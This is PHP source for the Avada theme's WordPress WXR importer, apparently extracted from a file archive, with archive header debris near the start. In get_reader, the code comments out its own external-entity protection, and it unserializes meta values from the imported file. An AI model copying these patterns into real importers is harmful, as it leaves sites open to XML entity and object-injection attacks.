post-processing and remapping. $this->post_process(); $this->import_end(); } } } // class_exists( 'WXR_Importer' ) Avada/includes/lib/inc/importer/class-awb-importer-logger.php000064400000001457152342437700020265 0ustar00` tag at the start of the file. * * @var string */ protected $version = '1.0'; // information to import from WXR file protected $categories = array(); protected $tags = array(); protected $base_url = ''; // TODO: REMOVE THESE protected $processed_terms = array(); protected $processed_posts = array(); protected $processed_menu_items = array(); protected $menu_item_orphans = array(); protected $missing_menu_items = array(); // NEW STYLE protected $mapping = array(); protected $requires_remapping = array(); protected $exists = array(); protected $user_slug_override = array(); protected $url_remap = array(); protected $featured_images = array(); /** * Logger instance. * * @var WP_Importer_Logger */ protected $logger; /** * Constructor * * @param array $options { * @var bool $prefill_existing_posts Should we prefill `post_exists` calls? (True prefills and uses more memory, false checks once per imported post and takes longer. Default is true.) * @var bool $prefill_existing_comments Should we prefill `comment_exists` calls? (True prefills and uses more memory, false checks once per imported comment and takes longer. Default is true.) * @var bool $prefill_existing_terms Should we prefill `term_exists` calls? (True prefills and uses more memory, false checks once per imported term and takes longer. Default is true.) * @var bool $update_attachment_guids Should attachment GUIDs be updated to the new URL? (True updates the GUID, which keeps compatibility with v1, false doesn't update, and allows deduplication and reimporting. Default is false.) * @var bool $fetch_attachments Fetch attachments from the remote server. (True fetches and creates attachment posts, false skips attachments. Default is false.) * @var bool $aggressive_url_search Should we search/replace for URLs aggressively? (True searches all posts' content for old URLs and replaces, false checks for `` only. Default is false.) * @var int $default_author User ID to use if author is missing or invalid. (Default is null, which leaves posts unassigned.) * } */ public function __construct( $options = array() ) { // Initialize some important variables $empty_types = array( 'post' => array(), 'comment' => array(), 'term' => array(), 'user' => array(), ); $this->mapping = $empty_types; $this->mapping['user_slug'] = array(); $this->mapping['term_id'] = array(); $this->requires_remapping = $empty_types; $this->exists = $empty_types; $this->options = wp_parse_args( $options, array( 'prefill_existing_posts' => true, 'prefill_existing_comments' => true, 'prefill_existing_terms' => true, 'update_attachment_guids' => false, 'fetch_attachments' => false, 'aggressive_url_search' => false, 'default_author' => null, ) ); } public function set_logger( $logger ) { $this->logger = $logger; } /** * Get a stream reader for the file. * * @param string $file Path to the XML file. * @return XMLReader|WP_Error Reader instance on success, error otherwise. */ protected function get_reader( $file ) { // Avoid loading external entities for security $old_value = null; if ( function_exists( 'libxml_disable_entity_loader' ) ) { // $old_value = libxml_disable_entity_loader( true ); } $reader = new XMLReader(); $status = $reader->open( $file ); if ( ! is_null( $old_value ) ) { // libxml_disable_entity_loader( $old_value ); } if ( ! $status ) { return new WP_Error( 'wxr_importer.cannot_parse', __( 'Could not open the file for parsing', 'Avada' ) ); } return $reader; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ public function get_preliminary_information( $file ) { // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Start parsing! $data = new WXR_Import_Info(); while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'Avada' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'generator': $data->generator = $reader->readString(); $reader->next(); break; case 'title': $data->title = $reader->readString(); $reader->next(); break; case 'wp:base_site_url': $data->siteurl = $reader->readString(); $reader->next(); break; case 'wp:base_blog_url': $data->home = $reader->readString(); $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $data->users[] = $parsed; // Handled everything in this node, move on to the next $reader->next(); break; case 'item': $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } if ( $parsed['data']['post_type'] === 'attachment' ) { $data->media_count++; } else { $data->post_count++; } $data->comment_count += count( $parsed['comments'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': case 'wp:tag': case 'wp:term': $data->term_count++; // Handled everything in this node, move on to the next $reader->next(); break; } } $data->version = $this->version; return $data; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ public function parse_authors( $file ) { // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Start parsing! $authors = array(); while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'Avada' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $authors[] = $parsed; // Handled everything in this node, move on to the next $reader->next(); break; } } return $authors; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing */ public function import( $file ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); $result = $this->import_start( $file ); if ( is_wp_error( $result ) ) { return $result; } // Let's run the actual importer now, woot $reader = $this->get_reader( $file ); if ( is_wp_error( $reader ) ) { return $reader; } // Set the version to compatibility mode first $this->version = '1.0'; // Reset other variables $this->base_url = ''; // Start parsing! while ( $reader->read() ) { // Only deal with element opens if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'Avada' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:base_site_url': $this->base_url = $reader->readString(); // Handled everything in this node, move on to the next $reader->next(); break; case 'item': $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $this->process_post( $parsed['data'], $parsed['meta'], $parsed['comments'], $parsed['terms'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:author': $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_author( $parsed['data'], $parsed['meta'] ); if ( is_wp_error( $status ) ) { $this->log_error( $status ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'category' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:tag': $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'tag' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:term': $node = $reader->expand(); $parsed = $this->parse_term_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; default: // Skip this node, probably handled by something already break; } } // Now that we've done the main processing, do any required // post-processing and remapping. $this->post_process(); if ( $this->options['aggressive_url_search'] ) { $this->replace_attachment_urls_in_content(); } // $this->remap_featured_images(); $this->import_end(); } /** * Log an error instance to the logger. * * @param WP_Error $error Error instance to log. */ protected function log_error( WP_Error $error ) { $this->logger->warning( $error->get_error_message() ); // Log the data as debug info too $data = $error->get_error_data(); if ( ! empty( $data ) ) { $this->logger->debug( var_export( $data, true ) ); } } /** * Parses the WXR file and prepares us for the task of processing parsed data * * @param string $file Path to the WXR file for importing */ protected function import_start( $file ) { if ( ! is_file( $file ) ) { // Tweaked for Avada. return new WP_Error( 'wxr_importer.file_missing', sprintf( esc_html__( '%s, please try again.', 'Avada' ), esc_html__( 'The file does not exist', 'Avada' ) ) ); } // Suspend bunches of stuff in WP core wp_defer_term_counting( true ); wp_defer_comment_counting( true ); wp_suspend_cache_invalidation( true ); // Prefill exists calls if told to if ( $this->options['prefill_existing_posts'] ) { $this->prefill_existing_posts(); } if ( $this->options['prefill_existing_comments'] ) { $this->prefill_existing_comments(); } if ( $this->options['prefill_existing_terms'] ) { $this->prefill_existing_terms(); } /** * Begin the import. * * Fires before the import process has begun. If you need to suspend * caching or heavy processing on hooks, do so here. */ do_action( 'import_start' ); } /** * Performs post-import cleanup of files and the cache */ protected function import_end() { // Re-enable stuff in core wp_suspend_cache_invalidation( false ); wp_cache_flush(); foreach ( get_taxonomies() as $tax ) { delete_option( "{$tax}_children" ); _get_term_hierarchy( $tax ); } wp_defer_term_counting( false ); wp_defer_comment_counting( false ); /** * Complete the import. * * Fires after the import process has finished. If you need to update * your cache or re-enable processing, do so here. */ do_action( 'import_end' ); } /** * Set the user mapping. * * @param array $mapping List of map arrays (containing `old_slug`, `old_id`, `new_id`) */ public function set_user_mapping( $mapping ) { foreach ( $mapping as $map ) { if ( empty( $map['old_slug'] ) || empty( $map['old_id'] ) || empty( $map['new_id'] ) ) { $this->logger->warning( __( 'Invalid author mapping', 'Avada' ) ); $this->logger->debug( var_export( $map, true ) ); continue; } $old_slug = $map['old_slug']; $old_id = $map['old_id']; $new_id = $map['new_id']; $this->mapping['user'][ $old_id ] = $new_id; $this->mapping['user_slug'][ $old_slug ] = $new_id; } } /** * Set the user slug overrides. * * Allows overriding the slug in the import with a custom/renamed version. * * @param string[] $overrides Map of old slug to new slug. */ public function set_user_slug_overrides( $overrides ) { foreach ( $overrides as $original => $renamed ) { $this->user_slug_override[ $original ] = $renamed; } } /** * Parse a post node into post data. * * @param DOMElement $node Parent node of post data (typically `item`). * @return array|WP_Error Post data array on success, error otherwise. */ protected function parse_post_node( $node ) { $data = array(); $meta = array(); $comments = array(); $terms = array(); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:post_type': $data['post_type'] = $child->textContent; break; case 'title': $data['post_title'] = $child->textContent; break; case 'guid': $data['guid'] = $child->textContent; break; case 'dc:creator': $data['post_author'] = $child->textContent; break; case 'content:encoded': $data['post_content'] = $child->textContent; break; case 'excerpt:encoded': $data['post_excerpt'] = $child->textContent; break; case 'wp:post_id': $data['post_id'] = $child->textContent; break; case 'wp:post_date': $data['post_date'] = $child->textContent; break; case 'wp:post_date_gmt': $data['post_date_gmt'] = $child->textContent; break; case 'wp:comment_status': $data['comment_status'] = $child->textContent; break; case 'wp:ping_status': $data['ping_status'] = $child->textContent; break; case 'wp:post_name': $data['post_name'] = $child->textContent; break; case 'wp:status': $data['post_status'] = $child->textContent; if ( $data['post_status'] === 'auto-draft' ) { // Bail now return new WP_Error( 'wxr_importer.post.cannot_import_draft', __( 'Cannot import auto-draft posts', 'Avada' ), $data ); } break; case 'wp:post_parent': $data['post_parent'] = $child->textContent; break; case 'wp:menu_order': $data['menu_order'] = $child->textContent; break; case 'wp:post_password': $data['post_password'] = $child->textContent; break; case 'wp:is_sticky': $data['is_sticky'] = $child->textContent; break; case 'wp:attachment_url': $data['attachment_url'] = $child->textContent; break; case 'wp:postmeta': $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $meta[] = $meta_item; } break; case 'wp:comment': $comment_item = $this->parse_comment_node( $child ); if ( ! empty( $comment_item ) ) { $comments[] = $comment_item; } break; case 'category': $term_item = $this->parse_category_node( $child ); if ( ! empty( $term_item ) ) { $terms[] = $term_item; } break; } } return compact( 'data', 'meta', 'comments', 'terms' ); } /** * Create new posts based on import information * * Posts marked as having a parent which doesn't exist will become top level items. * Doesn't create a new post if: the post type doesn't exist, the given post ID * is already noted as imported or a post with the same title and date already exists. * Note that new/updated terms, comments and meta are imported for the last of the above. */ protected function process_post( $data, $meta, $comments, $terms ) { /** * Pre-process post data. * * @param array $data Post data. (Return empty to skip.) * @param array $meta Meta data. * @param array $comments Comments on the post. * @param array $terms Terms on the post. */ $data = apply_filters( 'wxr_importer.pre_process.post', $data, $meta, $comments, $terms ); if ( empty( $data ) ) { return false; } $original_id = isset( $data['post_id'] ) ? (int) $data['post_id'] : 0; $parent_id = isset( $data['post_parent'] ) ? (int) $data['post_parent'] : 0; $author_id = isset( $data['post_author'] ) ? (int) $data['post_author'] : 0; // Have we already processed this? if ( isset( $this->mapping['post'][ $original_id ] ) ) { return; } $post_type_object = get_post_type_object( $data['post_type'] ); // Is this type even valid? if ( ! $post_type_object ) { $this->logger->warning( sprintf( __( 'Failed to import "%s": Invalid post type %s', 'Avada' ), $data['post_title'], $data['post_type'] ) ); return false; } $post_exists = $this->post_exists( $data ); if ( $post_exists ) { $this->logger->info( sprintf( __( '%s "%s" already exists.', 'Avada' ), $post_type_object->labels->singular_name, $data['post_title'] ) ); $this->mapping['post'][ intval( $original_id ) ] = intval( $post_exists ); $this->requires_remapping['post'][ $original_id ] = true; if ( 'attachment' === $data['post_type'] ) { // Map this image URL later if we need to $remote_url = ! empty( $data['attachment_url'] ) ? $data['attachment_url'] : $data['guid']; $this->url_remap[ $remote_url ] = wp_get_attachment_url( intval( $post_exists ) ); } /** * Post processing already imported. * * @param array $data Raw data imported for the post. */ do_action( 'wxr_importer.process_already_imported.post', $data ); // Even though this post already exists, new comments might need importing $this->process_comments( $comments, $original_id, $data, $post_exists ); return false; } // Map the parent post, or mark it as one we need to fix $requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['post'][ $parent_id ] ) ) { $data['post_parent'] = $this->mapping['post'][ $parent_id ]; } else { $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; $data['post_parent'] = 0; } } // Map the author, or mark it as one we need to fix $author = sanitize_user( $data['post_author'], true ); if ( empty( $author ) ) { // Missing or invalid author, use default if available. $data['post_author'] = $this->options['default_author']; } elseif ( isset( $this->mapping['user_slug'][ $author ] ) ) { $data['post_author'] = $this->mapping['user_slug'][ $author ]; } else { $meta[] = array( 'key' => '_wxr_import_user_slug', 'value' => $author ); $requires_remapping = true; $data['post_author'] = (int) get_current_user_id(); } // Does the post look like it contains attachment images? if ( preg_match( self::REGEX_HAS_ATTACHMENT_REFS, $data['post_content'] ) ) { $meta[] = array( 'key' => '_wxr_import_has_attachment_refs', 'value' => true ); $requires_remapping = true; } // Whitelist to just the keys we allow $postdata = array( 'import_id' => $data['post_id'], ); $allowed = array( 'post_author' => true, 'post_date' => true, 'post_date_gmt' => true, 'post_content' => true, 'post_excerpt' => true, 'post_title' => true, 'post_status' => true, 'post_name' => true, 'comment_status' => true, 'ping_status' => true, 'guid' => true, 'post_parent' => true, 'menu_order' => true, 'post_type' => true, 'post_password' => true, ); foreach ( $data as $key => $value ) { if ( ! isset( $allowed[ $key ] ) ) { continue; } $postdata[ $key ] = $data[ $key ]; } $postdata = apply_filters( 'wp_import_post_data_processed', $postdata, $data ); if ( 'attachment' === $postdata['post_type'] ) { if ( ! $this->options['fetch_attachments'] ) { $this->logger->notice( sprintf( __( 'Skipping attachment "%s", fetching attachments disabled', 'Avada' ), $data['post_title'] ) ); /** * Post processing skipped. * * @param array $data Raw data imported for the post. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. */ do_action( 'wxr_importer.process_skipped.post', $data, $meta ); return false; } $remote_url = ! empty( $data['attachment_url'] ) ? $data['attachment_url'] : $data['guid']; $post_id = $this->process_attachment( $postdata, $meta, $remote_url ); } else { $post_id = wp_insert_post( $postdata, true ); do_action( 'wp_import_insert_post', $post_id, $original_id, $postdata, $data ); } if ( is_wp_error( $post_id ) ) { $this->logger->error( sprintf( __( 'Failed to import "%s" (%s)', 'Avada' ), $data['post_title'], $post_type_object->labels->singular_name ) ); $this->logger->debug( $post_id->get_error_message() ); /** * Post processing failed. * * @param WP_Error $post_id Error object. * @param array $data Raw data imported for the post. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param array $comments Raw comment data, already processed by {@see process_comments}. * @param array $terms Raw term data, already processed. */ do_action( 'wxr_importer.process_failed.post', $post_id, $data, $meta, $comments, $terms ); return false; } // Ensure stickiness is handled correctly too if ( $data['is_sticky'] === '1' ) { stick_post( $post_id ); } // map pre-import ID to local ID $this->mapping['post'][ $original_id ] = (int) $post_id; if ( $requires_remapping ) { $this->requires_remapping['post'][ $post_id ] = true; } $this->mark_post_exists( $data, $post_id ); $this->logger->info( sprintf( __( 'Imported "%s" (%s)', 'Avada' ), $data['post_title'], $post_type_object->labels->singular_name ) ); $this->logger->debug( sprintf( __( 'Post %d remapped to %d', 'Avada' ), $original_id, $post_id ) ); // Handle the terms too $terms = apply_filters( 'wp_import_post_terms', $terms, $post_id, $data ); if ( ! empty( $terms ) ) { $term_ids = array(); foreach ( $terms as $term ) { $taxonomy = $term['taxonomy']; $key = sha1( $taxonomy . ':' . $term['slug'] ); if ( isset( $this->mapping['term'][ $key ] ) ) { $term_ids[ $taxonomy ][] = (int) $this->mapping['term'][ $key ]; } else { $meta[] = array( 'key' => '_wxr_import_term', 'value' => $term ); $requires_remapping = true; } } foreach ( $term_ids as $tax => $ids ) { $tt_ids = wp_set_post_terms( $post_id, $ids, $tax ); do_action( 'wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $data ); } } $this->process_comments( $comments, $post_id, $data ); $this->process_post_meta( $meta, $post_id, $data ); if ( 'nav_menu_item' === $data['post_type'] ) { $this->process_menu_item_meta( $post_id, $data, $meta ); } /** * Post processing completed. * * @param int $post_id New post ID. * @param array $data Raw data imported for the post. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param array $comments Raw comment data, already processed by {@see process_comments}. * @param array $terms Raw term data, already processed. */ do_action( 'wxr_importer.processed.post', $post_id, $data, $meta, $comments, $terms ); } /** * Attempt to create a new menu item from import data * * Fails for draft, orphaned menu items and those without an associated nav_menu * or an invalid nav_menu term. If the post type or term object which the menu item * represents doesn't exist then the menu item will not be imported (waits until the * end of the import to retry again before discarding). * * @param array $item Menu item details from WXR file */ protected function process_menu_item_meta( $post_id, $data, $meta ) { $item_type = get_post_meta( $post_id, '_menu_item_type', true ); $original_object_id = get_post_meta( $post_id, '_menu_item_object_id', true ); $object_id = null; $this->logger->debug( sprintf( 'Processing menu item %s', $item_type ) ); $requires_remapping = false; switch ( $item_type ) { case 'taxonomy': if ( isset( $this->mapping['term_id'][ $original_object_id ] ) ) { $object_id = $this->mapping['term_id'][ $original_object_id ]; } else { add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) ); $requires_remapping = true; } break; case 'post_type': if ( isset( $this->mapping['post'][ $original_object_id ] ) ) { $object_id = $this->mapping['post'][ $original_object_id ]; } else { add_post_meta( $post_id, '_wxr_import_menu_item', wp_slash( $original_object_id ) ); $requires_remapping = true; } break; case 'custom': // Custom refers to itself, wonderfully easy. $object_id = $post_id; break; default: // associated object is missing or not imported yet, we'll retry later $this->missing_menu_items[] = $post_id; $this->logger->debug( 'Unknown menu item type' ); break; } if ( $requires_remapping ) { $this->requires_remapping['post'][ $post_id ] = true; } if ( empty( $object_id ) ) { // Nothing needed here. return; } $this->logger->debug( sprintf( 'Menu item %d mapped to %d', $original_object_id, $object_id ) ); update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $object_id ) ); } /** * If fetching attachments is enabled then attempt to create a new attachment * * @param array $post Attachment post details from WXR * @param string $url URL to fetch attachment from * @return int|WP_Error Post ID on success, WP_Error otherwise */ protected function process_attachment( $post, $meta, $remote_url ) { // try to use _wp_attached file for upload folder placement to ensure the same location as the export site // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload() $post['upload_date'] = $post['post_date']; foreach ( $meta as $meta_item ) { if ( $meta_item['key'] !== '_wp_attached_file' ) { continue; } if ( preg_match( '%^[0-9]{4}/[0-9]{2}%', $meta_item['value'], $matches ) ) { $post['upload_date'] = $matches[0]; } break; } // if the URL is absolute, but does not contain address, then upload it assuming base_site_url if ( preg_match( '|^/[\w\W]+$|', $remote_url ) ) { $remote_url = rtrim( $this->base_url, '/' ) . $remote_url; } $upload = $this->fetch_remote_file( $remote_url, $post ); if ( is_wp_error( $upload ) ) { return $upload; } $info = wp_check_filetype( $upload['file'] ); if ( ! $info ) { return new WP_Error( 'attachment_processing_error', __( 'Invalid file type', 'Avada' ) ); } $post['post_mime_type'] = $info['type']; // WP really likes using the GUID for display. Allow updating it. // See https://core.trac.wordpress.org/ticket/33386 if ( $this->options['update_attachment_guids'] ) { $post['guid'] = $upload['url']; } // as per wp-admin/includes/upload.php $post_id = wp_insert_attachment( $post, $upload['file'], 0, true ); if ( is_wp_error( $post_id ) ) { return $post_id; } $attachment_metadata = wp_generate_attachment_metadata( $post_id, $upload['file'] ); wp_update_attachment_metadata( $post_id, $attachment_metadata ); // Map this image URL later if we need to $this->url_remap[ $remote_url ] = $upload['url']; // If we have a HTTPS URL, ensure the HTTP URL gets replaced too if ( substr( $remote_url, 0, 8 ) === 'https://' ) { $insecure_url = 'http' . substr( $remote_url, 5 ); $this->url_remap[ $insecure_url ] = $upload['url']; } if ( $this->options['aggressive_url_search'] ) { // remap resized image URLs, works by stripping the extension and remapping the URL stub. /*if ( preg_match( '!^image/!', $info['type'] ) ) { $parts = pathinfo( $remote_url ); $name = basename( $parts['basename'], ".{$parts['extension']}" ); // PATHINFO_FILENAME in PHP 5.2 $parts_new = pathinfo( $upload['url'] ); $name_new = basename( $parts_new['basename'], ".{$parts_new['extension']}" ); $this->url_remap[$parts['dirname'] . '/' . $name] = $parts_new['dirname'] . '/' . $name_new; }*/ } return $post_id; } /** * Parse a meta node into meta data. * * @param DOMElement $node Parent node of meta data (typically `wp:postmeta` or `wp:commentmeta`). * @return array|null Meta data array on success, or null on error. */ protected function parse_meta_node( $node ) { foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:meta_key': $key = $child->textContent; break; case 'wp:meta_value': $value = $child->textContent; break; } } if ( empty( $key ) || empty( $value ) ) { return null; } return compact( 'key', 'value' ); } /** * Process and import post meta items. * * @param array $meta List of meta data arrays * @param int $post_id Post to associate with * @param array $post Post data * @return int|WP_Error Number of meta items imported on success, error otherwise. */ protected function process_post_meta( $meta, $post_id, $post ) { if ( empty( $meta ) ) { return true; } foreach ( $meta as $meta_item ) { /** * Pre-process post meta data. * * @param array $meta_item Meta data. (Return empty to skip.) * @param int $post_id Post the meta is attached to. */ $meta_item = apply_filters( 'wxr_importer.pre_process.post_meta', $meta_item, $post_id ); if ( empty( $meta_item ) ) { return false; } $key = apply_filters( 'import_post_meta_key', $meta_item['key'], $post_id, $post ); $value = false; if ( '_edit_last' === $key ) { $value = intval( $meta_item['value'] ); if ( ! isset( $this->mapping['user'][ $value ] ) ) { // Skip! continue; } $value = $this->mapping['user'][ $value ]; } if ( $key ) { // export gets meta straight from the DB so could have a serialized string if ( ! $value ) { $value = maybe_unserialize( $meta_item['value'] ); } add_post_meta( $post_id, $key, $value ); do_action( 'import_post_meta', $post_id, $key, $value ); // if the post has a featured image, take note of this in case of remap if ( '_thumbnail_id' === $key ) { $this->featured_images[ $post_id ] = (int) $value; } } } return true; } /** * Parse a comment node into comment data. * * @param DOMElement $node Parent node of comment data (typically `wp:comment`). * @return array Comment data array. */ protected function parse_comment_node( $node ) { $data = array( 'commentmeta' => array(), ); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:comment_id': $data['comment_id'] = $child->textContent; break; case 'wp:comment_author': $data['comment_author'] = $child->textContent; break; case 'wp:comment_author_email': $data['comment_author_email'] = $child->textContent; break; case 'wp:comment_author_IP': $data['comment_author_IP'] = $child->textContent; break; case 'wp:comment_author_url': $data['comment_author_url'] = $child->textContent; break; case 'wp:comment_user_id': $data['comment_user_id'] = $child->textContent; break; case 'wp:comment_date': $data['comment_date'] = $child->textContent; break; case 'wp:comment_date_gmt': $data['comment_date_gmt'] = $child->textContent; break; case 'wp:comment_content': $data['comment_content'] = $child->textContent; break; case 'wp:comment_approved': $data['comment_approved'] = $child->textContent; break; case 'wp:comment_type': $data['comment_type'] = $child->textContent; break; case 'wp:comment_parent': $data['comment_parent'] = $child->textContent; break; case 'wp:commentmeta': $meta_item = $this->parse_meta_node( $child ); if ( ! empty( $meta_item ) ) { $data['commentmeta'][] = $meta_item; } break; } } return $data; } /** * Process and import comment data. * * @param array $comments List of comment data arrays. * @param int $post_id Post to associate with. * @param array $post Post data. * @return int|WP_Error Number of comments imported on success, error otherwise. */ protected function process_comments( $comments, $post_id, $post, $post_exists = false ) { $comments = apply_filters( 'wp_import_post_comments', $comments, $post_id, $post ); if ( empty( $comments ) ) { return 0; } $num_comments = 0; // Sort by ID to avoid excessive remapping later usort( $comments, array( $this, 'sort_comments_by_id' ) ); foreach ( $comments as $key => $comment ) { /** * Pre-process comment data * * @param array $comment Comment data. (Return empty to skip.) * @param int $post_id Post the comment is attached to. */ $comment = apply_filters( 'wxr_importer.pre_process.comment', $comment, $post_id ); if ( empty( $comment ) ) { continue; } $original_id = isset( $comment['comment_id'] ) ? (int) $comment['comment_id'] : 0; $parent_id = isset( $comment['comment_parent'] ) ? (int) $comment['comment_parent'] : 0; $author_id = isset( $comment['comment_user_id'] ) ? (int) $comment['comment_user_id'] : 0; // if this is a new post we can skip the comment_exists() check // TODO: Check comment_exists for performance if ( $post_exists ) { $existing = $this->comment_exists( $comment ); if ( $existing ) { /** * Comment processing already imported. * * @param array $comment Raw data imported for the comment. */ do_action( 'wxr_importer.process_already_imported.comment', $comment ); $this->mapping['comment'][ $original_id ] = $existing; continue; } } // Remove meta from the main array $meta = isset( $comment['commentmeta'] ) ? $comment['commentmeta'] : array(); unset( $comment['commentmeta'] ); // Map the parent comment, or mark it as one we need to fix $requires_remapping = false; if ( $parent_id ) { if ( isset( $this->mapping['comment'][ $parent_id ] ) ) { $comment['comment_parent'] = $this->mapping['comment'][ $parent_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_id ); $requires_remapping = true; // Wipe the parent for now $comment['comment_parent'] = 0; } } // Map the author, or mark it as one we need to fix if ( $author_id ) { if ( isset( $this->mapping['user'][ $author_id ] ) ) { $comment['user_id'] = $this->mapping['user'][ $author_id ]; } else { // Prepare for remapping later $meta[] = array( 'key' => '_wxr_import_user', 'value' => $author_id ); $requires_remapping = true; // Wipe the user for now $comment['user_id'] = 0; } } // Run standard core filters $comment['comment_post_ID'] = $post_id; $comment = wp_filter_comment( $comment ); // wp_insert_comment expects slashed data $comment_id = wp_insert_comment( wp_slash( $comment ) ); $this->mapping['comment'][ $original_id ] = $comment_id; if ( $requires_remapping ) { $this->requires_remapping['comment'][ $comment_id ] = true; } $this->mark_comment_exists( $comment, $comment_id ); /** * Comment has been imported. * * @param int $comment_id New comment ID * @param array $comment Comment inserted (`comment_id` item refers to the original ID) * @param int $post_id Post parent of the comment * @param array $post Post data */ do_action( 'wp_import_insert_comment', $comment_id, $comment, $post_id, $post ); // Process the meta items foreach ( $meta as $meta_item ) { $value = maybe_unserialize( $meta_item['value'] ); add_comment_meta( $comment_id, wp_slash( $meta_item['key'] ), wp_slash( $value ) ); } /** * Post processing completed. * * @param int $comment_id New post ID. * @param array $comment Raw data imported for the comment. * @param array $meta Raw meta data, already processed by {@see process_post_meta}. * @param int $post_id Parent post ID. */ do_action( 'wxr_importer.processed.comment', $comment_id, $comment, $meta, $post_id ); $num_comments++; } return $num_comments; } protected function parse_category_node( $node ) { $data = array( // Default taxonomy to "category", since this is a `` tag 'taxonomy' => 'category', ); $meta = array(); if ( $node->hasAttribute( 'domain' ) ) { $data['taxonomy'] = $node->getAttribute( 'domain' ); } if ( $node->hasAttribute( 'nicename' ) ) { $data['slug'] = $node->getAttribute( 'nicename' ); } $data['name'] = $node->textContent; if ( empty( $data['slug'] ) ) { return null; } // Just for extra compatibility if ( $data['taxonomy'] === 'tag' ) { $data['taxonomy'] = 'post_tag'; } return $data; } /** * Callback for `usort` to sort comments by ID * * @param array $a Comment data for the first comment * @param array $b Comment data for the second comment * @return int */ public static function sort_comments_by_id( $a, $b ) { if ( empty( $a['comment_id'] ) ) { return 1; } if ( empty( $b['comment_id'] ) ) { return -1; } return $a['comment_id'] - $b['comment_id']; } protected function parse_author_node( $node ) { $data = array(); $meta = array(); foreach ( $node->childNodes as $child ) { // We only care about child elements if ( $child->nodeType !== XML_ELEMENT_NODE ) { continue; } switch ( $child->tagName ) { case 'wp:author_login': $data['user_login'] = $child->textContent; break; case 'wp:author_id': $data['ID'] = $child->textContent; break; case 'wp:author_email': 